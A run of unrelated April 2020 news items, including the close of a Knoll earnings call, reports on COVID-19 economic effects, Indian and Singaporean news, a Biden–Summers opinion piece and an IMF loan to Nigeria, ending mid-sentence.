Hi. Charles Rayfield -- Senior Vice President and Chief Financial Officer Hello. Colin Casey -- Vulcan Value Partners -- Analyst Hey, appreciate the commentary on margins and cash flow. What level of revenue decline would it take for you to be free cash flow neutral for the year? Andrew Cogan -- Chairman and Chief Executive Officer Charles, you want to take that? Charles Rayfield -- Senior Vice President and Chief Financial Officer Well, thank you for the question. I mean, it's kind of a theoretical question. I think, as Andrew mentioned earlier on, I think as we look forward to the year, we expect to be cash flow positive. I think that we got to have a pretty significant revenue decline in order to start hitting negative free cash flow. But currently, we still expect to be cash flow positive. Colin Casey -- Vulcan Value Partners -- Analyst OK. And yes, certainly, appreciate it is a theoretical exercise. I mean, if I threw out a theoretical number, say, revenue were to decline 50% for the year, would you be free cash flow positive, negative or neutral on that scenario? Andrew Cogan -- Chairman and Chief Executive Officer I think there are a zillion -- as you just said, there are a zillion hypotheticals, and I think we're not going to get into hypothetically this or that. All I can say is we've worked lots of scenarios. We've got -- our models have modeled, and we've also got a really good track record of managing Knoll through two very significant and sudden declines, 35%, 40% declines, and we were cash flow positive in all those scenarios. So I think this is a kind of a seasoned team that knows how to manage Knoll through this, and more importantly, manage Knoll through this to come out stronger on the other side, which we've done every time, and I would imagine we'll do again here. Colin Casey -- Vulcan Value Partners -- Analyst OK. And that cash flow, is that free cash flow, just to be clear? Charles Rayfield -- Senior Vice President and Chief Financial Officer Yes, free cash flow. Colin Casey -- Vulcan Value Partners -- Analyst OK. And I may -- I think I missed the EBITDA margin flow-through. You said 40% to 50% decremental gross margins. What was the EBITDA margin? Andrew Cogan -- Chairman and Chief Executive Officer We said 20% to 25%. And again, I'm using those ranges because mix has a tremendous impact here. Colin Casey -- Vulcan Value Partners -- Analyst Of course. OK, appreciate that, folks. Stay safe. Andrew Cogan -- Chairman and Chief Executive Officer Thank you. Operator And sir, I'm not showing any further questions. I'll get the call back to Andrew for his final remarks. Andrew Cogan -- Chairman and Chief Executive Officer Great. Well, thank you, everyone, for joining us on today's call. In closing, while these are challenging and unprecedented times, I want to leave you with reasons for optimism, too. Our sales teams are working with clients to help them implement best practices for safe work in their offices, and this is creating demand for new furnishing screens and panels. If CNBC today is right that the office of the future is the office of the past, then that's more good news for our cubicle business. We're seeing continued growth, as I mentioned, in our e-commerce work-from-home channels, and teams across Knoll are working hard to expand our offerings here. Like our own clients, we too have begun planning to bring many of our people back into our offices and showrooms with the same precautions and preventative measures we've put into our plants and warehouses, and we're encouraged that many countries and states here at home are beginning to ease stay-at-home orders and are allowing construction and manufacturing work to resume. Finally, all this time at home will, no doubt, lead clients to think about investing in their own homes and home offices. Across our constellation, Knoll associates are demonstrating their commitment to teamwork and client service. I appreciate, truly appreciate how hard everyone at Knoll is working around the clock, and I want to thank them for all they're doing. Stay safe, and all our best to you and yours, everybody. Talk to you soon. Operator [Operator signoff] Duration: 25 minutes Call participants: Andrew Cogan -- Chairman and Chief Executive Officer Greg Burns -- Sidoti and Company -- Analyst Steven Ramsey -- Thompson Research -- Analyst Charles Rayfield -- Senior Vice President and Chief Financial Officer Colin Casey -- Vulcan Value Partners -- Analyst More KNL analysis All earnings call transcripts Mumbai: Maharashtra Chief Minister Uddhav Thackeray on Tuesday called up Uttar Pradesh Chief Minister Yogi Adityanath and urged him to take stringent action against those involved in the killing of two sadhus (mendicants) in Bulandshahr earlier in the day. "I called up the UP CM and expressed concern over the brutal killings today. We are all with the (Uttar Pradesh) government in tackling such heinous crimes," said Thackeray. He pointed out that on April 16, a similar incident of two sadhus and their driver being lynched had taken place in Palghar in which the Maharashtra government had initiated strong action. "We are hoping that you will follow suit and give the strongest punishment to the accused in the (Bulandshahr) incident," Thackeray said. The Chief Minister said he had also appealed to his Uttar Pradesh counterpart that "nobody should attempt to give the (Bulandshahr) incident any communal overtones". It may be recalled that four days after the Palghar mob-lynching case, a pertrubed Adityanath had called up Thackeray and demanded action against the perpetrators of the crime against the sadhus, belonging to a Varanasi ashram. Thackeray had assured prompt action in the matter and subsequently, around 110 accused villagers -- including the five masterminds -- have been arrested in the case till date. On April 20, Union Home Minister also spoke with Thackeray after which the state government had handed over the mob-lynching case to the Crime Investigation Department (CID) which is now probing the case. BuyMed, a Vietnamese startup that wants to fix Southeast Asias complex pharmaceutical distribution networks, announced today it has raised $2.5 million in pre-Series A funding. Investors include Sequoia Capital Indias Surge early-stage accelerator program, and Genesia Ventures. Returning investor Cocoon Capital also participated. Founded in 2018, BuyMed operates Thuocsi .vn, a pharmaceutical distribution platform in Vietnam. Over the past 12 months, the company says it has tripled its annual revenue, and now plans to add new product lines, including cosmetics, medical devices, supplements and medical services, with the goal of becoming a "one-stop marketplace" for supplies needed by healthcare providers in Southeast Asia. BuyMed verifies suppliers on its platform, improving safety and reducing the risk of medications making its way into the grey market (or unofficial distribution channels). The startup currently has 700 verified suppliers, distributors and manufacturers on its platform, who serve over 7,000 healthcare providers. In a press statement, Genesia Ventures general partner Takahiro Suzuki, said, "There is still a tremendous opportunity for growth and improvement in Vietnam's pharmaceutical supply chain and we believe that BuyMed's founders have the experience, execution and operational management necessary to tackle this problem." BuyMed Co-founder and CEO Peter Nguyen formerly served as a consultant for companies like Eli Lilly, Roche and Siemens, helping them create more efficient operations and supply chains. Nguyen told TechCrunch that there are no major multi-brand distributors in Vietnam, so most pharmaceutical manufacturers and brands need to set up their own networks. This means the process of getting medications and other pharmaceutical supplies to healthcare providers is highly-fragmented. There are roughly 200 domestic manufacturers in Vietnam, in addition to imported brands, and their products are handled by over 3,000 distributors. While about 2% of pharmacies in Vietnam are part of a franchise or chain, the vast majority are independent. This means distributors need to serve over 40,000 independent pharmacies and about 5,000 independent clinics. Nguyen added that fragmentation is similar in many other Southeast Asian markets, giving BuyMed an opportunity to expand across the region. Thuocsi.vn's usage has grown over the last 60 days, as more Vietnamese pharmacies source from online channels. In response to the COVID-19 pandemic, BuyMed has expanded its platform so more of its partners can sell online, and added safety measures like frequent warehouse and office sanitization and a no-contact drop-off and cash collection system. New Delhi, April 29 : Rating agency firm Standard and Poors (S&P) on Tuesday affirmed its BBB+ long-term corporate credit rating on Reliance Industries Limited (RIL) with a stable outlook. S&P Global Ratings affirmed its 'BBB+' long-term issuer credit rating on RIL and the 'BBB+' long-term issue ratings on the company's outstanding debt. The stable outlook reflects our expectation that RIL's strengthening cash flows amid disciplined spending will improve its debt-to-EBITDA ratio toward 2.0x over the next 12-24 months, S&P Global Ratings said. "We assume the company will primarily use proceeds from the 9.99% stake sale in Jio Platforms for deleveraging," S&P said. "We expect the operating performance of India-based Reliance Industries Ltd. (RIL) to remain resilient over the next two years, driven by the company's prominent domestic market position in the digital and retail segments," it said. S&P said RIL's disciplined financial policy and sale of minority stake in the digital segment will be credit positive, assuming the proceeds will be largely used to lower net debt. "We affirmed our rating on RIL with stable outlook because we believe the company's leverage is poised to improve and stabilize over the next 12-24 months owing to disciplined spending, asset monetization, and resilient earnings," the agency said. RIL will likely use proceeds from recent asset monetization to lower debt. The company announced earlier this month that Facebook will take 9.99% stake in Jio Platforms Ltd., RIL's wholly owned subsidiary. "We expect RIL to use the proceeds of Indian rupee Rs 435.7 billion (US$5.7 billion) to reduce its net debt. We believe the Facebook transaction will also enhance RIL's growth potential in the digital business," it said. RIL will team up with Facebook to accelerate the launch of its JioMart e-commerce platform on Facebook's WhatsApp application. RIL's earnings from the digital and retail segments will likely grow at a 15% compounded annualized rate over the next three years. Separately, RIL has in August 2019 received a non-binding letter of intent from Saudi Aramco (Aramco) for acquiring 20% stake in RIL's oil-to-chemicals business. "We have not assumed any potential asset monetization in our base case. However, we believe the finalization of the Aramco deal would be credit positive for RIL, provided the company largely uses the proceeds to lower its debt," S&P said. S&P expects RIL to continue to follow a prudent financial policy in the current volatile market. After a peak in the company's capital expenditure (capex) at Rs 936 billion in fiscal 2019, it estimate thes company's capex declined to about Rs 630 billion in fiscal 2020. "We expect RIL to lower its investments over the next two years toward Rs 500 billion per year. The company will likely prioritize investments in the digital segment, while reducing investments in energy segments to those related to maintenance," the agency said. RIL's resilient earnings from its digital and retail segments should offset earnings downside from the energy division. "We expect the company's overall operations to remain resilient and have flattish EBITDA in fiscal 2021, before rebounding in fiscal 2022. This is despite weakening operating conditions in the oil refining and petrochemical segments. RIL's prominent and growing presence in the digital and retail segments should support its EBITDA," S&P said. "We estimate a near-50% EBITDA growth in RIL's digital and retail segments in fiscal 2020. The segments will account for about 40% of total EBITDA, compared with just 3% in fiscal 2017. We therefore believe the company's strategy of transforming its upstream energy focus to domestic consumption-driven businesses has been successful," the statement said. "We expect digital and retail growth to continue in fiscals 2021 and 2022, although at a slower pace of 14%-18% per year. Setbacks from shutdowns associated with the COVID-19 pandemic, and possible further downside pressure on India's domestic market could constrain RIL's credit profile," it said. "Our economists have also revised downward their forecasts for global GDP. The downside to our earnings forecast for RIL may offer limited buffer to the company's credit metrics in fiscal 2021. However, we believe RIL's prominent domestic market position in the digital and retail segments will reduce its operational volatility because dependence on the cyclical oil refining and petrochemical businesses will subside," S&P has estimated. Positive free cash flows should reduce RIL's adjusted debt over the next two to three years. Based on the company's robust operating cash flows, lower capex, and proceeds from the Facebook deal, S&P expects RIL to generate significant positive discretionary cash flows, leading to a notable reduction in net debt. "We estimate the company's adjusted debt peaked at Rs 2.7 trillion in fiscal 2020, and expect it to decline to about Rs 2.2 trillion in fiscal 2021 and Rs 1.7 trillion by fiscal 2023. We believe RIL's commitment to deleverage remains strong," it said. DUBLIN, April 28, 2020 /PRNewswire/ -- The "Impact of COVID-19 on the UK Economy" report has been added to ResearchAndMarkets.com's offering. The UK is a highly volatile economy in terms of uncertainty in investment and production output due to Brexit's impact. However, the country has a significant value in the export of goods and services. The country has shown a significant rise in manufacturing operations, including food & beverage, machinery and equipment, and chemicals. Since the 2008 recession, the recovery of the manufacturing industry significantly relies primarily on four industries, such as the production of food, repair of machinery, motor vehicles, and other transport equipment. As per the Office for National Statistics (ONS), the total value of product sales by UK manufacturers was $500 billion in 2018, an increase of 0.8% from 2017. The production of food products division is constantly making a significant contribution, led nearly $91 billion to total UK manufacturers' product sales in 2018. In addition, the production of machinery and equipment increased by 1.8% and reached nearly $36 billion in 2018. This has led to increased sales from the production of machinery for construction, mining, and quarrying industry. The global demand for machinery and equipment by UK manufacturers continued to increase, which is primarily contributing to drive the UK manufacturing sector. However, like other countries, the UK is facing a major challenge of recession concerning the effect of COVID-19 pandemic. It has affected the whole production capability of the country coupled with a slowdown in global demand, and concerns regarding the availability of raw material. As a result, manufacturers of machinery and equipment in the country have temporarily shut down their industrial operations. For instance, in March 2020, Joseph Cyril Bamford Excavators Ltd. (JCB) has suspended manufacturing at all of its UK factories coupled with falling demand for construction equipment. The company's global demand for products has declined sharply as customers were cancelling orders and suspend deliveries. Therefore, it has stopped its UK production facility to re-plan orders and stocks condition, as well as focus on products that are needed by customers. Based on industry classification, the report is segmented into automobile, food & beverage, machinery, electrical and electronics, aviation, BFSI, retail, healthcare, and others. A major slowdown in automobile production has been reported due to the effect of COVID-19. Many automobile manufacturers have shut down their automobile manufacturing facilities due to the coronavirus outbreak. For instance, Jaguar Land Rover Automotive PLC, a part of Tata Motors, suspended its production facility in line with the government advise to reduce the spread of coronavirus. The global automobile companies with their operations in UK, including BMW, Toyota, and Honda declared they have temporarily shut down their UK factories due to the coronavirus pandemic. This would result in a weaker production of automobiles in the country. The Report Covers Comprehensive research methodology of the pre and post COVID-19 impact on the UK economy. This report also includes a detailed and extensive market overview with key analyst insights. An exhaustive analysis of macro and micro factors influencing the market guided by key recommendations. Analysis of regional regulations and other government policies impacting the UK economy. Insights about market determinants which are stimulating UK economy. Detailed and extensive market segments with regional distribution of forecasted revenues. Extensive profiles and recent developments of market players. Key Topics Covered: 1. Report Summary 1.1. Research Methods and Tools 2. Market Overview and Insights 2.1. Scope of the Report 2.2. Analyst Insight & Current Market Trends 2.2.1. Key Findings 2.2.2. Recommendations 2.2.3. Conclusion 2.3. Government support/bailout packages 2.4. Banking Initiatives 2.5. Supply Chain Analysis 3. Industry Overview 3.1. Historical market growth estimation of the UK economy excluding COVID-19 pandemic effect 3.2. Deviations in the UK economy growth rate due to COVID-19 pandemic 4. Verticals Affected Most 4.1. Automobile 4.2. Food & Beverage 4.3. Machinery 4.4. Electrical and Electronics 4.5. Aviation 4.6. BFSI 4.7. Retail 4.8. Healthcare 4.9. Others 5. Company Profiles 5.1 Associated British Foods plc 5.2 Aviva plc 5.3 BAE Systems plc 5.4 Bentley Motors Ltd. 5.5 British Airways Plc 5.6 Dyson Ltd. 5.7 Sainsbury plc 5.8 Joseph Cyril Bamford Excavators Ltd. (JCB) 5.9 Rolls-Royce Holdings plc 5.10 Royal Bank of Scotland Group plc 5.11 Tesco PLC 5.12 Thomas Cook Group Plc 5.13 Virgin Atlantic Airways Ltd. For more information about this report visit https://www.researchandmarkets.com/r/rn1y96 About ResearchAndMarkets.com ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends. Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1904 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com UTICA, N.Y. Mohawk Valley Health System has reached an agreement with three out of four labor unions to furlough employees for four months as part of its coronavirus recovery plan. The New York State United Teachers, Communications Workers of America, and United Food and Commercial Workers agreed to the terms, and will return to work after the furlough. The fourth union, the New York State Nurses Association, rejected the furlough offer last week. The union and MVHS were not able to negotiate an alternative agreement, and layoffs may be next, according to NYSNA. No layoffs have been made as of Tuesday, April 28. NYSNA officials say they are still working with MVHS to ensure layoff procedures are followed if and when layoffs need to be made. The union released a statement on April 26, stating in part: "NYSNA is in continuing conversations with the management of St. Elizabeth Medical Center about what a responsible reduction in the workforce could look like. We believe it is irresponsible to furlough essential hospital personnel during a pandemic, especially as the COVID surge is estimated to peak throughout Upstate New York in late May through early June." "Now, with the way NYSNA is moving forward, about 80 employees will be at risk of losing their jobs in total," says MVHS President and CEO, Darlene Stromstad. "We have identified a certain number of positions we wanted to put on furlough and those people will now be at risk for bumping and losing their jobs." On April 21, MVHS announced its plan to furlough 20% of its employees as part of a four-month COVID-19 Recovery Plan to help offset the economic impact of the coronavirus pandemic. According to MVHS, the furlough guidelines are: MVHS employees remain employees of the organization and are not terminated. As volumes increase, furloughed employees are expected to be called back to work as they are needed. The furlough began in mid-April and will end around Aug. 13, 2020. But, as noted, employees may be called back sooner based on patient demand. Employees who are furloughed can apply for unemployment insurance and the enhanced unemployment funds from the federal government. Employees will retain the employer contribution to their health insurance coverage. MVHS says the number of full-time employees furloughed in each department was based on recent and overall volumes in each area. Around 120,000 people visit the Balmoral Show at the Maze each year but this year's cancellation is just one of a few times the famous event has not run in its history. Other times it was called off include during World War One and in 2001, when the foot and mouth outbreak took a firm grip of Northern Ireland farming. In 2017 all the poultry classes were cancelled due to the bird flu outbreak. There are more than 1,000 animals entered each year for the Balmoral Show, but livestock exhibitors had been waiting on the organisers to cancel this year's event. Michael Hunter from Crumlin is about to turn 40 and has been attending the show for most of his life with his father John, exhibiting their famous Ardmore Ayrshire cattle. While Michael agrees it is sad to see the show being cancelled, he welcomes the decision and the fact he can spend more time working at home. "The organisers simply had to cancel Balmoral Show. It was inevitable and is the right decision," said Michael. "Most of the other Northern Ireland shows have also cancelled this year. "My father is now in his 70s and has been taking cattle to Balmoral Show for as long as I can remember and long before I was born. Expand Close James Alexander, wife Ruth and daughter Alicia at last years show / Facebook Twitter Email Whatsapp James Alexander, wife Ruth and daughter Alicia at last years show "Yes, the show is good publicity for our cattle and our breeding, but that also comes at a significant cost to us in preparing for the event with little monetary return. "Of course the show gave me a welcome four-day break from the regular hectic farm schedule and I will miss the social aspect of that. Being at Balmoral Show gives people that haven't seen each other since the previous show [a chance] to catch up and have a chat. "We will just have to wait and see if the RUAS hold the Winter Fair for the dairy cattle in December." Randalstown sheep and cattle breeder James Alexander also expected the show to be cancelled and will miss the social life aspect of meeting friends. James said: "I was expecting the news but it's very disappointing at the same time. Balmoral Show was our last hope of getting our cattle and sheep out for a run. "I have been showing at Balmoral for the past 13 years usually with up to eight cattle. Last year was the first time I took sheep to the show and exhibited pedigree Suffolk sheep as well as pedigree Limousin cattle. I also had a stand exhibiting four-wheel-drive vehicles that we sell. "We will just have to wait until May 2021 when Balmoral Show is scheduled again and hope the world has returned to normal then," he said. Some UAE banks have classified their debt exposure to the company as doubtful, three sources tell Reuters. Banks in the United Arab Emirates (UAE) with exposure to troubled hospital operator NMC Healthcare risk having to make provisions for between 25 and 50 percent on more than $2bn of outstanding debt to the company, three banking sources told Reuters news agency. NMC, the largest private healthcare provider in the UAE, was placed into administration earlier in April after months of turmoil that followed questions about its financial reporting from short seller Muddy Waters Research. NMCs shares were suspended two months ago, and on Monday the company requested the delisting of its shares from the London Stock Exchange. Some UAE banks have classified their debt exposure to the company as doubtful, a UAE central bank document showed and one of the three sources familiar with the matter said. Other banks in the UAE have higher recovery expectations for their exposure and may treat it as substandard, another source said. The central bank did not immediately respond to a Reuters request for comment outside normal working hours. The administrators for NMC declined to comment. NMC, which has borrowed from a total of 80 local and international banks, disclosed $6.6bn in debt last month, above $2.1bn disclosed in June last year. UAE banks said in stock exchange filings in the past few weeks they had more than 10 billion dirhams ($2.72bn) in exposure to NMC. Abu Dhabi Commercial Bank (ADCB) said it had an exposure to NMC of $981m. ADCB had said the credit it extended included syndicated loans alongside major global banks via senior unsecured facilities. The bank is chairing a steering committee of creditors that held an initial meeting last week, the sources said. ADCB declined to make further comment. Under UAE central bank regulations, doubtful loans can lead to specific provisioning of at least 50 percent for a bank on a troubled loan. Substandard loans require 25 percent provisioning. Every bank does its own classification, and then at some point the central bank might come back and ask banks to get uniformity but this is at a later stage, the second source said. One of the three sources said his bank started treating NMC exposure as stage 3, requiring 50 percent provisioning. Mohamed Damak, senior director at credit rating agency S&P, who oversees Middle East and North Africa financial institutions, said it was to be expected that the loans would be in stage 3 because the company is in administration. It is also equally important to remember that NMC is one of the leading privately owned operators of healthcare services in the UAE. Therefore, there will be a loss on debt, but we dont think that it will be for the full amount of the exposures, he said. UAE banks were told by the central bank last week to freeze the accounts of NMC Healthcare shareholder and founder BR Shetty and his family and several other people, three sources with knowledge of the matter said. Howard Stern said he was all in on Joe Biden as he backed the presumptive Democratic nominee for president, spurning his old friend Donald Trump. The radio legend criticised the president for his handling of the coronavirus pandemic on his SiriusXM show on Monday in particular his suggestion that the injection of disinfectant might help to treat the virus. Howard Stern regularly had Donald Trump on his show (Kevin Kane/Getty Images For The Rock and Roll Hall of Fame) "What's it going to take? I don't get it. I don't think there is anyone left who will vote for him," Mr Stern said. "You see the wall that's right next to you, I'll vote for the wall over a guy who tells me that I should pour Clorox into my mouth. Listen, I think we are in deep shit. I think we could have been ahead of this curve." Mr Trump was a regular guest of Sterns in the years before he became president, when the show was infamous for its shock value and controversial treatment of women. In recent years, Mr Stern has toned down the lewdness that propelled him to the top of the radio world and focused on interviews with high profile celebrities. Previous comments made by Mr Trump on the show surfaced throughout the 2016 campaign, at a time when he was already under fire for the emergence of a 2005 Access Hollywood audio tape in which he bragged about grabbing women by the genitals. In 2004, Mr Trump said on Mr Sterns show that "deeply troubled" women are "always the best in bed," according to a CNN report. Mr Stern refused to replay the tapes of the president's troubling appearances in the midst of the controversy, however, saying it would be a betrayal to do so. Recommended New York sees spike in disinfectant exposure cases after Trump musings I feel Donald Trump did the show in an effort to be entertaining and have fun with us and I feel like it would be a betrayal to any of our guests if I sat there and played them now where people are attacking him, he said at the time. Mr Stern also endorsed Hillary Clinton in the 2016 election against Mr Trump, and interviewed her in December last year. I dont dislike Trump as a candidate, he told the Washington Post during the 2016 campaign, but I am absolutely enamoured by Hillary. And Ive told Donald that. Yves here. Larry Summers watchers may recall our piece, Why Larry Summers Should Not Be Permitted to Run Anything More Important than a Dog Pound. Summers had put his hat in the ring to become Fed chairman, which elicited an impressive level of negative coverage. So memories have now faded enough that Summers be allowed to hold an important domestic role again? In fairness, Summers has attempted some rehabilitation, and now regularly takes positions to the left of the former boundary-setter of the limits of Goodthinking Liberal policy, Paul Krugman. Not that that stands for much. By Thomas Neuburger. Originally published at DownWithTyranny Joe Biden has chosen as his economic adviser the main Democratic proponent of the China PNTR deal and Wall Street deregulation. Apparently, Biden may really have meant it when he said nothing will fundamentally change. https://t.co/UokamnmgyA David Sirota (@davidsirota) April 23, 2020 Over the past three decades, Summers has amassed a policy record of almost unrivaled social ruin. Zach Carter, Huffington Post In a slap in the face to progressives, Joe Biden, who has already announced that if hes elected nothing would fundamentally change, has appointed the head of Barack Obamas National Economic Council, Larry Summers, as a key adviser to his campaign. From Bloomberg, which occasionally still reports the news (emphasis added): Former Treasury Secretary Lawrence Summers is advising Joe Bidens presidential campaign on economic policy, including its plans to revive the U.S. economy after the coronavirus pandemic, according to five people familiar with his involvement. The Obama and Clinton administration veterans role roiled progressives who view his past work on the 2009 recovery as too favorable to big banks. Thats awkward for the Biden campaign at a time when it is trying to win the trust of former supporters of Bernie Sanders and Elizabeth Warren. Five people confirming is a deliberate leak, especially since non of them are said to be unauthorized to speak about the matter. Progressive groups are aghast, of course: Two Sanders-aligned groups, Justice Democrats and Sunrise Movement, said Friday they hope Biden publicleconomic y rejects Summerss role as an economic adviser to better earn the trust of our generation. They said they also plan to start a petition calling on Biden to pledge to exclude Summers from his transition team or administration. Larry Summerss legacy is advocating for policies that contributed to the skyrocketing inequality and climate crisiswere living with today, the groups said in a joint statement. Summers is such a bad choice for the campaign to be aligned with that The American Prospect writer Robert Kuttner put Summers at the top of his do not re-appoint list. But as Risings Saagar Enjeti points out, the real group that Biden needs to assure isnt Progressive Avenue, or even Main Street its Wall Street and leaking via five sources to Bloomberg News that Summers is now in Bidens inner circle does just that. As Bloomberg put it, with this move Biden has offered some reassurance [to] Wall Street that Biden is not moving too far to the left from the centrist positions that earned him his establishment support. Im not if sure this will get him elected, but it is certain to be noticed, even by not-well-read voters who nonetheless care about the direction of the country. Summers was a marquee name in the Obama administration. As Robert Kuttner points out: Under Clinton, Summers was a prime architect and huge enthusiast of what proved to be fatal financial deregulation. He was also in charge of Clintons economic policy for post-Soviet Russia, and was responsible for pushing for early and catastrophic privatization of state assets, a fire sale that led directly to the creation of Russias oligarchs. As president of Harvard, he proved to be both arrogant and sexist, to the point where he got himself fired. [As Obamas chief economic advisor, Summers] not only lowballed the necessary economic stimulus and ended it prematurely, but he successfully fought for rescuing the biggest banks rather than taking them into temporary receivership. Back at Harvard, Summers earns over $600,000 as a university professor but also moonlights at the hedge fund D.E. Shaw, where his compensation is well into the seven figures. (Some would say he moonlights at Harvard.) There are so many ways that Summers is a bad choice, its difficult to enumerate them, though both Kuttner and the HuffPosts Zach Carter try. (Carter: Over the past three decades, Summers has amassed a policy record of almost unrivaled social ruin. Then he lists the ways.) Its sufficient to say that his appointment is the economic-policy equivalent of bringing in Rahm Emanuel, who famously called liberals fucking retarded, to handle the Bidens relationship with progressive groups. If Larry Summers appointment is part of the mainstream Democratic plan to unite the Party and rally change voters behind the Biden candidacy, good luck. Returning to normal life after the Covid-19 emergency will be a crawl due to the complexity of the virus, an infectious disease specialist has warned. The National Public Health Emergency Team (NPHET) will meet on Tuesday morning to review the impact of Covid-19 and the existing measures in place to limit the spread of the disease. Restrictions are due to expire on Tuesday May 5 but the Chief Medical Officer Tony Holohan has warned they would not be changed drastically. President of Infectious Disease Society of Ireland and chair of the National Immunisation Advisory Committee Professor Karina Butler said we must be sure that everything is in place to deal with potential outbreaks of Covid-19 when restrictions are eased. We need all of the things to be in place so we can safely crawl back to normality. I think it will be a crawl Professor Karina Butler Prof Butler told RTE Morning Ireland that changes to the testing criteria will give a better idea of how common the virus is in the community. Were in a lot better place than we might have been if decisive steps hadnt been taken. Prof Butler said the safe return to normality will be a crawl, warning the virus is unique and stealthy. She said it has been two months since we first encountered the virus and there are now almost 20,000 cases and more than 1,000 deaths. However, increased testing and rapid contact tracing should help the country to live alongside the virus, she said. Expand Close Dr Tony Holohan, Chief Medical Officer for Department of Health (Steve Humphreys/PA) PA / Facebook Twitter Email Whatsapp Dr Tony Holohan, Chief Medical Officer for Department of Health (Steve Humphreys/PA) We need all of the things to be in place so we can safely crawl back to normality. I think it will be a crawl. The criteria for Covid-19 testing are being broadened from Tuesday morning to include more suspected cases of the virus. People with either a recent cough, fever or shortness of breath can now get access to a test. She said increasing the criteria for testing will give us an overall idea of how prevalent the virus is in the community. The Irish College of General Practitioners said the increase in testing is welcome. As we approach next week where there is a hope the lockdown scenario will be eased, we have to do a lot more testing and tracing to make sure that the country stays on top of Covid-19 and this pandemic can come to an end. An announcement on the whether or not restrictions will be lifted or eased is expected after a special Cabinet meeting on Friday. Singapore said on Tuesday that the number of migrant workers infected with the coronavirus may be higher than the official tallies as the country is isolating all symptomatic patients staying in dormitories before testing them. A total of 12,183 of the 323,000 migrant workers living in dormitories - about 3.77 per cent - have tested positive, putting the spotlight on their living conditions. Singapore on Tuesday reported 528 new coronavirus cases, the vast majority of them linked to foreign workers, including Indians, residing in dormitories that have emerged as the hotspots for the transmission of the disease in the country. The current strategy is to isolate and keep those who are possibly infected away from healthy roommates so that authorities are able to break the chain of transmission, said Health Ministry's director of medical services Kenneth Mak during a media briefing on Tuesday. Mak was responding to a question about whether workers who are isolated without being tested first will be part of the official count of COVID-19 patients. He acknowledged that the number of COVID-19 cases may be higher than what is stated in the official report, which includes confirmed and verified infections. But the suspected cases will eventually be tested to confirm if they are infected, or if they have recovered, he assured. The numbers will reconcile. It's not an issue of fudging, or dodging or trying to hide numbers," he said. "It is really a question of making sure that our priorities in testing match the needs that we have on the ground, and making sure that we report as transparently as we can. Authorities will eventually test all of the foreign workers, mostly working in the labour industry such as construction sites, Mak explained. There will always be a catch up (but) we will come around and make sure they are properly tested because we want to know whether they do have (the) infection, he stressed. It makes a lot of sense to isolate all symptomatic foreign workers in dormitories, said Mak. This is because, in dormitories where the rate of infection is very high, almost every symptomatic person would eventually turn out to be a COVID-19 case, he explained. The rate of infection can vary quite significantly among the various dormitories, he added. In dormitories where there are fewer cases, officials are trying to test more to find out what the level of infection is, he said, as it is easier to prevent further spread of the COVID-19 in these premises. The majority of the workers who have tested positive are very very well, most with minimal symptoms, said Mak as a reassurance. There isn't really much else we need to do other than the monitoring that we in fact put in place," he added. As of Tuesday noon, Singapore has 14,951 coronavirus cases. The Health Ministry reported 528 new cases on Tuesday, most of them are work permit holders living in dormitories for foreign workers. The healthcare capacity to deal with COVID-19 cases will be increased significantly in the next two months, with the total number of bed spaces for those with mild symptoms doubling by end-June. Plans are to double the bed capacity at community care facilities to 20,000 by the end of June. The ramping up of bed spaces at these community care facilities is part of a wider strategy which includes increasing capacity in other facilities, as well as in manpower, said authorities at the Tuesday briefing. "The government has ensured sufficient capacity by, for example, postponing non-urgent elective procedures and creating new capacity in isolation wards and intensive care units by repurposing existing hospital facilities," said Brigadier-General David Neo, director of joint operations at the Singapore Armed Forces. At a press conference, Health Minister Gan Kim Yong said that given the different needs of patients, the Government has set up a range of facilities to match their medical requirements. The majority who have mild or no symptoms, as well as those who have largely recovered from the illnesses are cared for in community care facilities such as Singapore Expo, under the care of a medical team, supported by technology tools, such as vital signs monitoring, he said. Migrant workers who test negative for COVID-19, but may have other illnesses, will be isolated for up to five days before being allowed to leave, to prevent the spread of other illnesses, it was announced at the Tuesday briefing. Such workers will be housed in what authorities are calling dorm isolation facilities. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The International Monetary Fund (IMF) on Tuesday approved a $3.4 billion emergency funding as requested by Nigeria, to help the country cushion the impact of the coronavirus pandemic on her economy. The executive board of the fund gave the approval under the Rapid Financing Instrument to support the governments efforts to address the devastating impact of COVID-19. It is the single largest aid for any African country facing the pandemic. The fund had earlier approved $1 billion for Ghana. On April 6, the Minister of Finance, Budget and National Planning, Zainab Ahmed, said at the launching of the N500 billion fiscal stimulus measures in response to the COVID-19 pandemic that the IMF request was part of a number options the country was exploring raise funds to salvage its economy. The minister said the other options to mobilise financial support to the countrys economic stimulus fund included a $2.5 billion credit facility from the World Bank, and another $1 billion from the African Development Bank. At the meeting of its executive board on Tuesday to consider Nigerias request, the IMF noted that the COVID-19 outbreak has magnified existing economic vulnerabilities, leading to a historic contraction in the economic growth of most countries, and to large extent their external and fiscal financing needs. Once the impact of the COVID-19 shock passes, the authorities commitment to medium-term macroeconomic stability remains crucial to support the recovery and ensure debt remains sustainable, the board said. The board said the approval of 100 per cent of Nigerias contribution to the Fund as emergency financial assistance was based on the countrys Special Drawing Rights under the Rapid Financing Instrument. Noting that the near-term economic impact of COVID-19 is expected to be severe, the board said Nigerias economic condition was already facing high risks from external headwinds from rising external vulnerabilities and falling per capita GDP levels. The impact of the pandemic, coupled with the sharp drop in crude oil prices at the international oil market, worsened the countrys vulnerabilities, leading to a historic decline in growth and large financing needs. The IMF said its financial support would help Nigeria limit the decline in international reserves and provide financing to the budget for targeted and temporary spending increases aimed at containing and mitigating the economic impact of the pandemic and of the sharp fall in international oil prices. The IMF remains closely engaged with the Nigerian authorities and stands ready to provide policy advice and further support, as needed, the Deputy Managing Director and Acting Chair of the Executive Board, Mitsuhiro Furusawa, said on Tuesday. The COVID-19 outbreakmagnified by the sharp fall in international oil prices and reduced global demand for oil productsis severely impacting economic activity in Nigeria. These shocks have created large external and financing needs for 2020. Additional declines in crude oil prices and more protracted containment measures would seriously affect the real and financial sectors and strain the countrys financing, it added. The fund welcomed Nigerian government immediate actions to respond to the crisis, saying the short-term 